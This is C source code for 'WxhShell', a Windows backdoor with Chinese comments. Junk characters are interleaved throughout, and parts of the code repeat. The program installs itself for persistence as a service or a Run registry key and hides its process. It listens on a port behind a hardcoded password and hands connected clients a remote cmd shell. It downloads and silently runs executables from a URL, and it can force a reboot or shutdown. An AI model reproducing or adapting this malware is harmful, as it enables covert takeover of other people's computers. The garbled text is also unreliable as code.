OAqA?Z PROCESS_BASIC_INFORMATION pbi; M)"]$TM ZI58XS+ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); DYo<5^0 if(NULL == hInst ) return 0; _\,rX\ ^91sl5c8yD g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5ys#L&q'Z g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); oUQGLl!V NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); iN<(O7B; G-\<5]k] if (!NtQueryInformationProcess) return 0; [i(Cl} DC|xilP1O hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9 m\)\/V if(!hProcess) return 0; S9G8aea/ 0
&*P}U}Uc if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m x3}m?WQ [as-3&5S CloseHandle(hProcess); oMh~5
W 0\5M^:8i3 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u?q&K|
if(hProcess==NULL) return 0; Zk]k1]u*5 3TU'*w
& HMODULE hMod; 7o;x (9 char procName[255]; >"cr-LB unsigned long cbNeeded; ljup#:n V.;:u#{@-Q if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M4TrnZ1D} qs!>tw CloseHandle(hProcess); kF+ZW%6N ra]!4Kd' if(strstr(procName,"services")) return 1; // 以服务启动 Az
U|p MxY50^}( return 0; // 注册表启动 968Ac}OA } 4)c+t"h IIq"e~"Vs // 主模块 ')C|`(hs int StartWxhshell(LPSTR lpCmdLine) ,3:QB_ { cJP'ShnCh SOCKET wsl; yDd=&
T
BOOL val=TRUE; + jp|Y?6Z int port=0; xJvLuzUD struct sockaddr_in door; u=vh
Z%A] qPsyqn?Y| if(wscfg.ws_autoins) Install(); T|;^.TZ &bB6}H( port=atoi(lpCmdLine); U+4HG 7}<Sg if(port<=0) port=wscfg.ws_port; 'oC$6l'rQ )*!1bgXQ WSADATA data; *I=_*LoG2 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -"F0eV+y 8dc538:q} if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; _kh>Z setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %v]7BV^%6 door.sin_family = AF_INET; ER{yuw door.sin_addr.s_addr = inet_addr("127.0.0.1"); BwJNi6, door.sin_port = htons(port); PPN q:, \C|;F if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (.PmDBW closesocket(wsl); dF$KrwDK
return 1; +d =~LQ}* } 7.%f01/i -<O JqB if(listen(wsl,2) == INVALID_SOCKET) { )j\r,9<K+5 closesocket(wsl); 9#u }^t return 1; ?^U c= } BApa^j\? Wxhshell(wsl); ]X*YAPv WSACleanup(); SLSF
<$ GL/ KB return 0; /a%*u6z@ 9QX4R<"wUg } [d0%.+U DK)u)?! // 以NT服务方式启动 Fl<(m VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K~USK?Q% { CP +4k.)*O DWORD status = 0; Mz93 DWORD specificError = 0xfffffff; _O$tuC% -zprNQW serviceStatus.dwServiceType = SERVICE_WIN32; R3$@N serviceStatus.dwCurrentState = SERVICE_START_PENDING; .Nc_n5D6 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Pow|:Lau! serviceStatus.dwWin32ExitCode = 0; rWJ*e Y serviceStatus.dwServiceSpecificExitCode = 0; \kxh#{$z? serviceStatus.dwCheckPoint = 0; TNx _Rc} serviceStatus.dwWaitHint = 0; ~+<<bzY g+.0c=G( hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T\jAk+$Jo if (hServiceStatusHandle==0) return; mIRAS"Q!m C}9Kx }q status = GetLastError(); .U<F6I:<md if (status!=NO_ERROR) C]/&vh7ta { FK6K6wU52m serviceStatus.dwCurrentState = SERVICE_STOPPED; k'x#t( serviceStatus.dwCheckPoint = 0; D
0 serviceStatus.dwWaitHint = 0; HQl~Dh0DJ serviceStatus.dwWin32ExitCode = status; I:nI6gF serviceStatus.dwServiceSpecificExitCode = specificError; WI6(#8^p SetServiceStatus(hServiceStatusHandle, &serviceStatus); zFOL(s.h|0 return; !Pw$48cg } q=njKC "i&fp:E0 serviceStatus.dwCurrentState = SERVICE_RUNNING; |IAW{_9)U serviceStatus.dwCheckPoint = 0; +Jdm#n?_ serviceStatus.dwWaitHint = 0; *=TYVM9 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7g5@vYS+ } zb>;?et;) s*f1x N< // 处理NT服务事件,比如:启动、停止 qT$)Rb& VOID WINAPI NTServiceHandler(DWORD fdwControl) Y5n>r@)m { c88_}%h?( switch(fdwControl) |f<9miNu { V7BsE w case SERVICE_CONTROL_STOP: B7|c`7x( serviceStatus.dwWin32ExitCode = 0; -rO*7HO serviceStatus.dwCurrentState = SERVICE_STOPPED; B_cgWJ*4 serviceStatus.dwCheckPoint = 0; :Z[(A"dA serviceStatus.dwWaitHint = 0; ~U9q-/(J/ { 4Ppop SetServiceStatus(hServiceStatusHandle, &serviceStatus); &;s<dDQK } nW11wtiO. return; 4b=Gg case SERVICE_CONTROL_PAUSE: \KCWYi] serviceStatus.dwCurrentState = SERVICE_PAUSED; lr0M<5d=p break; zXjwnep case SERVICE_CONTROL_CONTINUE: AxEc^Cof serviceStatus.dwCurrentState = SERVICE_RUNNING; BR3wX4i\ break; -n-Z/5~ X case SERVICE_CONTROL_INTERROGATE: "
<Qm
- break; s@PLS5d" }; QypZH"Np SetServiceStatus(hServiceStatusHandle, &serviceStatus); JDKLKHOMZ } Ts#pUoE~+H Wa<-AZnh // 标准应用程序主函数 9ZhDZ~)p, int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Tv1]v. { Iqx84 a>w~FUm* // 获取操作系统版本 3[.3dy7,Z OsIsNt=GetOsVer(); UG # X/%p GetModuleFileName(NULL,ExeFile,MAX_PATH); {l@WCR n_}aZB3;U // 从命令行安装 %XR<isn if(strpbrk(lpCmdLine,"iI")) Install(); ~TM>"eB b Mb1wYh // 下载执行文件 WU7cF81$ if(wscfg.ws_downexe) { 5/,Qz>QE[ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _-RyHgX WinExec(wscfg.ws_filenam,SW_HIDE); Ok,HD7 } n>S2}y bM ^7g if(!OsIsNt) { ~3d*b8 // 如果时win9x,隐藏进程并且设置为注册表启动 FllX za) HideProc(); `6}Yqh)) StartWxhshell(lpCmdLine); 5#2jq<D } #Skj#)I" else v1h.pbz`w if(StartFromService()) DL1
+c`d // 以服务方式启动 T6X}Ws " StartServiceCtrlDispatcher(DispatchTable); Cx,-_ else <S&]$?`{Wi // 普通方式启动 5e8xKL StartWxhshell(lpCmdLine); p(?g- )'t&q/Wn return 0; 5D
L,U(Y } 8gAu7\p} {:$NfW XfDX:b1p M9DgO4xl =========================================== ?M~
k$ h;nQxmJ9 ^N{k6>; ,\x$q' [4: Yi{> q~M2:SN@X " OT@yPG %{"dP%|w4} #include <stdio.h> kIX)oD}c #include <string.h> 86qcf"?E #include <windows.h> 3daC;;XO #include <winsock2.h> d>/Tu_ y #include <winsvc.h> K[]K53Nk #include <urlmon.h> v^TkDf(Oz e[8UH =`| #pragma comment (lib, "Ws2_32.lib") 1yS&~
y?a #pragma comment (lib, "urlmon.lib")
QAUykS8 t#~XLCE #define MAX_USER 100 // 最大客户端连接数 *6P'q4) #define BUF_SOCK 200 // sock buffer e=L*&X #define KEY_BUFF 255 // 输入 buffer \XDmK [8z&-'J= #define REBOOT 0 // 重启 cJ/4Gl #define SHUTDOWN 1 // 关机 Yt*vqm[WV JnHNkCaU #define DEF_PORT 5000 // 监听端口 c=aO5(i0 xl,ryc3J #define REG_LEN 16 // 注册表键长度 Y;eoTJ #define SVC_LEN 80 // NT服务名长度 $
9 =8@ d"GDZ[6 // 从dll定义API JqSr[q typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !-,Ww[G> typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +A\V ) typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); q :8\e typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); K_&_z vpV$$=Qwp // wxhshell配置信息 R[Nbtbv9Q struct WSCFG { 5*1#jiq int ws_port; // 监听端口 In+^V([u+_ char ws_passstr[REG_LEN]; // 口令 '$6PTa int ws_autoins; // 安装标记, 1=yes 0=no S (tEwXy char ws_regname[REG_LEN]; // 注册表键名 (Vap7.6;_ char ws_svcname[REG_LEN]; // 服务名 Z'ao[CG char ws_svcdisp[SVC_LEN]; // 服务显示名 7_%2xewV| char ws_svcdesc[SVC_LEN]; // 服务描述信息 .)t(:)*b char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {2EMz|&8 int ws_downexe; // 下载执行标记, 1=yes 0=no o3\,gzJ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9rS,? char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z<h|#@\ ONfyYM? }; (!-;T Km"&mT $ // default Wxhshell configuration {G%3*=?,j struct WSCFG wscfg={DEF_PORT, #D0W7a "xuhuanlingzhe",
#Qsk}Gv 1, ll2Vk*xs "Wxhshell", ZRPy~wy> "Wxhshell", j.B>v\b_3 "WxhShell Service", f~R[&q+ "Wrsky Windows CmdShell Service", 0R4akLW0 "Please Input Your Password: ", &~ y{'zoL 1, *v&*% B "http://www.wrsky.com/wxhshell.exe", }H2#H7!H "Wxhshell.exe" l?<q
YjI }; FJF3B)Va| ~QCA -Yud // 消息定义模块 RJwb@r<v char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8$m1eQ`{ char *msg_ws_prompt="\n\r? for help\n\r#>"; BjvdnbJg char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; rei5{PC char *msg_ws_ext="\n\rExit."; `V@z&n0P6 char *msg_ws_end="\n\rQuit."; Ih3$ char *msg_ws_boot="\n\rReboot..."; 6%UY1Q.? char *msg_ws_poff="\n\rShutdown..."; \j:AR4 char *msg_ws_down="\n\rSave to "; 3fl7~Lw, wonYm27f char *msg_ws_err="\n\rErr!"; 0$QIfT) char *msg_ws_ok="\n\rOK!"; Uuz?8/w}# V]m^7^m3 char ExeFile[MAX_PATH]; -f 4>MG int nUser = 0; !xymoiArp HANDLE handles[MAX_USER]; pALJl[Cb int OsIsNt; k,lqT>C l#ZyB| SERVICE_STATUS serviceStatus; %p*`h43; SERVICE_STATUS_HANDLE hServiceStatusHandle; rmQ\RP W F+3!uWUK // 函数声明 }k| g%HJ int Install(void); NnP.k7m) int Uninstall(void); \imp7}N int DownloadFile(char *sURL, SOCKET wsh); phmVkV2a;# int Boot(int flag); P#v^"}.Wd void HideProc(void); aP_3C_ int GetOsVer(void); -[Y:?lA int Wxhshell(SOCKET wsl); >Zo-wYG void TalkWithClient(void *cs); B>@D,)/bT5 int CmdShell(SOCKET sock); jr:drzr{I int StartFromService(void); |eF.ZC)QWh int StartWxhshell(LPSTR lpCmdLine); ,H@TYw b*`fLrqV. VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); K.%z;(U VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0Gx*'B= CWBbSGk // 数据结构和表定义 ?R282l SERVICE_TABLE_ENTRY DispatchTable[] = Lrlk* { FCAJavOGH {wscfg.ws_svcname, NTServiceMain}, H4 =IY {NULL, NULL} d=F)y~&' }; @2?=3Wf ]1tN|ODY*W // 自我安装 O"8 P#Ed int Install(void) wR(ttwxK3 { A(NEWO char svExeFile[MAX_PATH]; O/$ v69: HKEY key; 9\:w8M X' strcpy(svExeFile,ExeFile); DP0Z*8Ia GBW 7Y // 如果是win9x系统,修改注册表设为自启动 9>IsqYc if(!OsIsNt) { 'f8
p7_F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kR_E6Fl RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m
EFWo RegCloseKey(key); .T{U^0 ) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >pnz_MQ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =/m}rcDN RegCloseKey(key); X tR`? return 0; eWw y28t } T%w(P ^qk } y/H8+0sEk } -: C[P else { [RW,{A F=VoFmF@ // 如果是NT以上系统,安装为系统服务 a0 qj[+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0O_E\- = if (schSCManager!=0) Q6xgLx[ { ;=#qHo9k1% SC_HANDLE schService = CreateService Xz"
JY ( .N&QW
` schSCManager, /%;/pi wscfg.ws_svcname, $sM]BE: wscfg.ws_svcdisp, L^&do98 SERVICE_ALL_ACCESS, aK-N}T SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , eZ[#+0J SERVICE_AUTO_START, iKY-;YK SERVICE_ERROR_NORMAL, jD<9=B(g svExeFile, Of!|,2`( NULL, 7;~2e NULL, oUCVd}wH NULL, ga,A'Z NULL, "1AjCHZ NULL :3:)E ); WGluZhRuT3 if (schService!=0) *SWv*sD { WI%zr2T CloseServiceHandle(schService); eUYG96Jw CloseServiceHandle(schSCManager); 4U:DJ_GN strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h@EJTAi strcat(svExeFile,wscfg.ws_svcname); <x ^IwS if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { p{w}
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N{|[R
RegCloseKey(key); &MBOAHhze return 0;
I)qKS@ } (Jm(}X]sh[ } bl6':m+ CloseServiceHandle(schSCManager); 4D0(Fl } 54bF)<+ }
4{c`g$j> L>eQ*311 return 1; k:@a[qnY } 1i ?gvzrq N.kuE=X // 自我卸载 s#M?
tyhj int Uninstall(void) uHTKo(NG { `Nc`xO? HKEY key; 9*"[pt+tA +
?[ ACZF if(!OsIsNt) { QJb7U5:B+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `1}HWLBX. RegDeleteValue(key,wscfg.ws_regname); \3,$YlG RegCloseKey(key); % jYQ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8.6no RegDeleteValue(key,wscfg.ws_regname); -<u-
+CbuT RegCloseKey(key); Z1E`I89< return 0; Q3'(f9
x } ] `b<" } [J(@$Qix } WlF+unB!9 else { )cfp(16 R V_MWv SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7/$nA<qM if (schSCManager!=0) nI((ki}v { $yP'k&b! SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +ytT)S if (schService!=0) 3uB=L7. { ^d5gz0d if(DeleteService(schService)!=0) { OLhWkN,qA CloseServiceHandle(schService); T<w*dX7F0K CloseServiceHandle(schSCManager); cN0~;!{i return 0; XY&]T'A } h Kp,4D>2_ CloseServiceHandle(schService); ^^20vwq } n#/U@qVgc CloseServiceHandle(schSCManager); v]UU&Jq8U } 3Y.d&Nz } 3 LZL!^ 5N [M,27 return 1; w yuJSB } Iqe=#hUFe! 0jl:Yzo&\ // 从指定url下载文件 6z%&A]6k: int DownloadFile(char *sURL, SOCKET wsh) N?Z+zN&P { U~JG1#z6 HRESULT hr; >n@>h$] char seps[]= "/"; 2`q^Q char *token; 7N-CtQnv char *file; *)}Ap4[ char myURL[MAX_PATH]; =N[V{2}q char myFILE[MAX_PATH]; <
|]i +qu@dU0\`| strcpy(myURL,sURL); f6(9wz$Trt token=strtok(myURL,seps); P %U9S while(token!=NULL) J"a2
@S& { .3g\[p file=token; tOlzOBzR token=strtok(NULL,seps); *;ZW=%M } (<AM+| c=jTs+h' GetCurrentDirectory(MAX_PATH,myFILE); 2yQ;lQ` strcat(myFILE, "\\"); s\3Z?zm8 strcat(myFILE, file); \|b1s @c8 send(wsh,myFILE,strlen(myFILE),0); t"!8 send(wsh,"...",3,0); Xoa<r9 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); s K$Sar if(hr==S_OK) $HR(|{piZ return 0; Nsy9
h}+A else w$<fSe7 return 1; <|>:UGAR =O}%bZ)Q } 'piF_5(@ ;MdK3c // 系统电源模块 MlcoOi! int Boot(int flag) V=8{CmqT { =:R[gdA#1 HANDLE hToken; )eedfb1 TOKEN_PRIVILEGES tkp; %]= 'Uv^x 2Y g[8Tm# if(OsIsNt) { bQ:3G; OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); OB? 79l LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); UdM5R
[ tkp.PrivilegeCount = 1; H&>>]DD tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;wYwiSVd AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Fy+7{=?^F if(flag==REBOOT) { 3!L<=X if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -^nQ^Td=j return 0; /v5g;x_T } JD\-X(O else {
;] `NR if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3Jk?)Dy return 0; :N'[de } h}VYA\+<B } jJ{
w -$ else { iTBhLg, if(flag==REBOOT) { ^Ihdq89 t if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) JcALFKLB return 0; URzE+8m^ } fN? Lz%z3 else { v.8S
V] if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]\b1~ki!F return 0; vEee/+1? } A"T. nqB^y } #}]il0d 3E2.v5* return 1; fB ,!|u } Tk@g9\6O9 {CyPcD'$s // win9x进程隐藏模块 -r2qIt void HideProc(void) *]UEF_ { JMe[
.Sx fm2M i~}0 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :aFpz6< if ( hKernel != NULL ) p-03V"^& { !v;_@iW3e pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +H^V},dBp! ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); qFsg&< FreeLibrary(hKernel); o4
OEA)k)= } Y
Z2VP x[uXD return; kk7:A0._ } ~X(xa !{ )AV/\D // 获取操作系统版本 k^%ec3l int GetOsVer(void) ,8 NEnB { W2LblZE! OSVERSIONINFO winfo; kx#L< winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); OU3+SYM GetVersionEx(&winfo); {zN_l! if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) U&\{/l return 1; qA\kx#v]P else
q>oH(A return 0; \iE9&3Ie } GpQF* x %_=R&m'n` // 客户端句柄模块 U=#ylQ int Wxhshell(SOCKET wsl) Z1lF[d,f; { ]SR`96vG SOCKET wsh; I\6<)2j/L struct sockaddr_in client; DT]p14@t9 DWORD myID; :mHtK)z~ S7>gNE;%]u while(nUser<MAX_USER) =]mx"0i[ { =sVt8FWGY int nSize=sizeof(client); Ck a]F2, wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !OVEA^6 if(wsh==INVALID_SOCKET) return 1; kxf=%<l s^@Cq= handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?Pw\&q if(handles[nUser]==0) +\$|L+@Z closesocket(wsh); Sg~A'dG else zi[M{bm nUser++; M{RZ-)IC } ?
Z
fhz WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); q;~>h +((31l return 0; Yf`.Cq_: } D
;I;,Z __%E!*m"<_ // 关闭 socket \k-juF80 void CloseIt(SOCKET wsh) 5VoiDM=\c { z(68^-V=: closesocket(wsh); Ui;s.f nUser--; y%l#lz=6 ExitThread(0); ?bDae%>.d, } (uc)^lfX F@K;A%us) // 客户端请求句柄 ;@s~t:u void TalkWithClient(void *cs) fR;_6?p*B { TN_$E&69I C}EDl2 SOCKET wsh=(SOCKET)cs; GlD'?Mk1 char pwd[SVC_LEN]; vs5wxTM char cmd[KEY_BUFF]; L
umD.3< char chr[1]; ~y^lNgujO int i,j; s""8V_,; ~o5iCt;w while (nUser < MAX_USER) { PzkXrDlB7 fsuvg jlE if(wscfg.ws_passstr) { yyDBW`V(( if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -s "$I:v //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xmx;tq //ZeroMemory(pwd,KEY_BUFF); VjMuU"++@ i=0; 4ux5G`oL while(i<SVC_LEN) { <t@*[Aw *lO+^\HXD // 设置超时 TBT*j&!L fd_set FdRead; WfO$q^'?DP struct timeval TimeOut; CxQ,yd;> FD_ZERO(&FdRead); Khd ,|pM FD_SET(wsh,&FdRead); Bz~h- TimeOut.tv_sec=8; s\R?@ TimeOut.tv_usec=0; t+q`h3 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); E1g$WhXIS if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1\{F.v X0TGJ,yW( if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gi >{`.] pwd=chr[0]; aC 0Jfo if(chr[0]==0xd || chr[0]==0xa) { X6 cb#s0| pwd=0; H;&t"Ql. break; .w)t<7 y } %;?3A# i++; Z`t?kXDNoI } 1=.kH[R 0E1)&f // 如果是非法用户,关闭 socket +[9"M+4- if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); XLxr~Yo } ~-i?= *4y r7~S5 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tpK4 gjf send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #ySx$WT; Z+7S,M while(1) { [.,6~=}vP -y<uAI g ZeroMemory(cmd,KEY_BUFF); 4gENV{L x0GZ2*vfsb // 自动支持客户端 telnet标准 v}D! j=0; *?&O8SSBH while(j<KEY_BUFF) { V1;-5L75 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RfRaWbn cmd[j]=chr[0]; &N ;6G`3 if(chr[0]==0xa || chr[0]==0xd) { k0?6.[ku cmd[j]=0; 4iW2hV@m break; [_@OCiV5) } *[n^6) j++; .5xg;Qg\Y } *JXJ
2 P s;:g0 // 下载文件 k3XtKPO if(strstr(cmd,"http://")) { g2q=&eI" send(wsh,msg_ws_down,strlen(msg_ws_down),0); =p6xc}N if(DownloadFile(cmd,wsh)) (J*0/7
eX send(wsh,msg_ws_err,strlen(msg_ws_err),0); mNKa~E else ] plC send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UtrbkuT } IIZsN*^ else { _I!&w!3oM kpu^:N& switch(cmd[0]) { (C%'I i$bBN$<b< // 帮助 H_FhHX.2( case '?': { sTz*tSwQv send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q<pM
tW break; k~ue^^r} } %?jf.p*kY // 安装 kz^G.5n case 'i': { Jt8 v=<@ if(Install()) p%-9T>og send(wsh,msg_ws_err,strlen(msg_ws_err),0); qfU3Cwy else 0*^Fk=>ej send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (tv h9o break; nabN.Ly } lTXU // 卸载 #UQ[8e case 'r': { sh1()vT if(Uninstall()) /slML~$t< send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9@06]EI_ else ,R+u%bmn# send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T_WQzEL^ break; n C^'2z } uM8gfY)OI // 显示 wxhshell 所在路径 Qp,l>k case 'p': { TfPx char svExeFile[MAX_PATH]; MR}\fw$(. strcpy(svExeFile,"\n\r"); Kf.b
<wP{ strcat(svExeFile,ExeFile); 6X7_QBC) send(wsh,svExeFile,strlen(svExeFile),0); (Wn'.|^% break; H =jnCGk } ]!N5jbA@ // 重启 zBbTj IFQ case 'b': { ?*4zNhL send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "^H+A-R[ if(Boot(REBOOT)) zjmc>++<t send(wsh,msg_ws_err,strlen(msg_ws_err),0); xcig'4L else { v6:DA#0 closesocket(wsh); ?6dtvz;K+? ExitThread(0); k$UBZ,=iC } DYS(ZY)4 break; XHr{\/4V } :$j~;)2 // 关机 O 2U/zF:X case 'd': { HD ~9EK~ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); uOQ5.S+ if(Boot(SHUTDOWN)) ]^y}}y send(wsh,msg_ws_err,strlen(msg_ws_err),0); &BgaFx** else { E !8y|_(j closesocket(wsh); Ogb_WO;) ExitThread(0); A SSoKrFL } C N"c break; G\Me%{b# } S%@$J~\rx // 获取shell IQDWH/c case 's': { |Xag:hof CmdShell(wsh); UTPl7po5D closesocket(wsh); i]nE86.;
ExitThread(0); D1f=f88/} break; &a`-NRU# } II91Ia // 退出 OH~t\fQ1Zf case 'x': {
}=U\v'%m send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $spf=t"nh CloseIt(wsh); ( ;"ICk& break; ",}VB8K }
)nY/ RO // 离开 /dfZ>k8 case 'q': { JG[+e*8 send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6voK{C4J closesocket(wsh); o$-Phl WSACleanup(); UZ1lI> exit(1); ^.(]i\V_ break; "a: ; } $?\],T } J0#% *B } Ur`v*LT}~ =9c24j // 提示信息 8<^,<? if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r
(uM$R$o } ~K[rQ } *=v
RX!sI, ?sO_c3^7z return; 5?b9[o+D } 9K49<u0O c_iF S // shell模块句柄 \c]/4C +/ int CmdShell(SOCKET sock) 1$^{Uma { ;[xDc>&("Q STARTUPINFO si; R9W(MLe58 ZeroMemory(&si,sizeof(si)); ;cO0Y.V9l si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >eC^]#c si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gor6c3i PROCESS_INFORMATION ProcessInfo; ' 9,}N:p char cmdline[]="cmd";
@.})nU CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M;(lc?Rv return 0; O7.Is88! }
={fi&j IOA{lN6 // 自身启动模式 ri:fo'4TO int StartFromService(void) |9y&;3 { D,hl+P{^K typedef struct &(0iSS { `<K#bDU;a DWORD ExitStatus; ecHy. 7H DWORD PebBaseAddress; <W?,n% DWORD AffinityMask; L^=>)\R2$[ DWORD BasePriority; u7/M>YJ`T ULONG UniqueProcessId; {[$p}#7Y ULONG InheritedFromUniqueProcessId; +z4NxR
} PROCESS_BASIC_INFORMATION; EU+sTe > v}!,4,]:& PROCNTQSIP NtQueryInformationProcess; cq 0jM;@d k@Hu0x static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %:??QD* static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; wy^>i$TC j'7FTVmJ HANDLE hProcess; 6wF?FtT PROCESS_BASIC_INFORMATION pbi; 8\yH7H #*9*[Xbi HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); K9*K4'#R if(NULL == hInst ) return 0; Kg.E~ JK1b68n g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I[&!\Me[+w g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9Kqr9U--v NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Fc=8Qt^ P`"dj@1' if (!NtQueryInformationProcess) return 0; 9@h>_1RJz 0nv3JX^l] hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); G q8/xxt if(!hProcess) return 0; nK:39D$( sOHh&e if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pZH
bj2~ $)'{+1 CloseHandle(hProcess); P$!Ht 'n=FBu^ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); PKwx)!
